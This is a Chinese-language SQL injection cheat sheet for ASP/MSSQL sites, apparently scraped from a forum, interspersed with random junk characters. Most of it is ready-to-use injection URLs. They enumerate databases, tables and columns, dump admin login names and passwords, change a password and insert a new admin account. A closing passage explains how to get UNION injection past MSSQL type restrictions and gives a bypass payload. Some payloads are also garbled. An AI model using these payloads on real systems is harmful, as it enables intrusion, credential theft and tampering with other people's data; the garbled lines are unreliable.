爆库:8 B' \0 D1 R. o5 ? ^1 S
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
; |- `4 Q. s }9 ]5 p USELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.& \2 n5 _% t, \
爆下一个库:' q/ {0 x5 _ p: R8 d6 n! I. i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
* q/ V f# I( K# e" ^. U3 ]& e# O. W1 t8 ]) i6 ^/ k4 |
爆表:
. g" F6 L! u X( E* n$ b `. o5 w+ Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) }; s5 @; x7 d$ S
' Q8 }2 S. t, E0 BSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.6 |2 ]$ x+ q" o) x% O; M
9 q: n; U2 x7 k( L0 M- ]& v/ ^: c. M. d" y爆下一个表0 V, W3 W; e+ s* [# C! f# o
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--/ q- n$ z" R, U) W% S
( |! q3 M+ q+ k5 _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 Q; s' }3 t2 i$ S
# K4 l+ Y: f) B4 d1 e2 N9 z9 N% d2 R' b% P0 F
6 A1 {1 p" h' r' @/ H2 E爆字段:! l9 p* J$ j* G
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
B* n7 q8 k; ?! A5 `
0 N! t9 B; F1 {1 }爆下一个字段 x; I/ t9 T# P5 Y' z# n
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--4 r5 q& P2 L" t8 L: |0 V0 o! E K+ A
% S. R5 S0 n/ G9 ?* Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--+ \3 y& d; d* I y- D
0 M# w: X8 r( s# T, \) i0 d$ U& h7 a8 t7 q4 S
爆字段里的内容
& a+ h4 X! Y& M- G d5 M/ a1 o, Q2 H' Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--- E) W1 g& `& c3 ^* f( O3 {7 s! U/ S
# T8 x( d, G6 I5 L/ q$ W Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
" h' U. j0 ^% s0 V3 ]( T5 n
; a1 X- r& f4 S: k I3 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--5 d4 V; c8 }9 {% a2 X
9 z( P, v0 `9 x [% zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--% n v8 f- s! S. U
1 |- C* c+ d* u* Q
更新字段里的内容
$ C, ^, [2 v$ whttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'-- Z4 k" H4 P j* \& A0 s
0 H* X# X' h0 h+ `- x
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
1 |. F# _- H) @' @8 ~$ C# V; f) K8 [4 f: ^: f5 a
/ k* ]! X2 Z/ y* i5 n1 e, B# w
8 {3 P1 n3 ~ V+ U Y% ~ 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。( ~2 C- L' H$ w; t6 R8 Z
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。" V) X) T* H t) f; b
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
r6 z2 i$ |5 @2 {0 |/ g! c 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。2 d9 s* ]( U5 k
5 x8 C+ B( K K6 ^& ]
突了了大部份限制的语句
7 }0 M. i5 x- w9 C/ d# D: ~and 1=2 union all select char(49),char(50),null,null;--
8 W6 z3 g4 H, Q, p N" z X6 n% b2 D; e2 Z2 g
# |/ c9 [& c3 ?' z" ?null也可以正常执行,不过没有回显,不好判断回显的列数。 |2 N* V6 W; d! D7 b+ }
一般union遇到问题都是有text或者ntext字段,image的很少遇到7 [' b6 X: C( ]
- A u7 ?3 P, x- ^9 _1 }可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
) E, L% N y3 \; ^
. \2 I2 ~' y$ b3 j8 S
2 }8 X3 Y8 ?, e+ |$ b |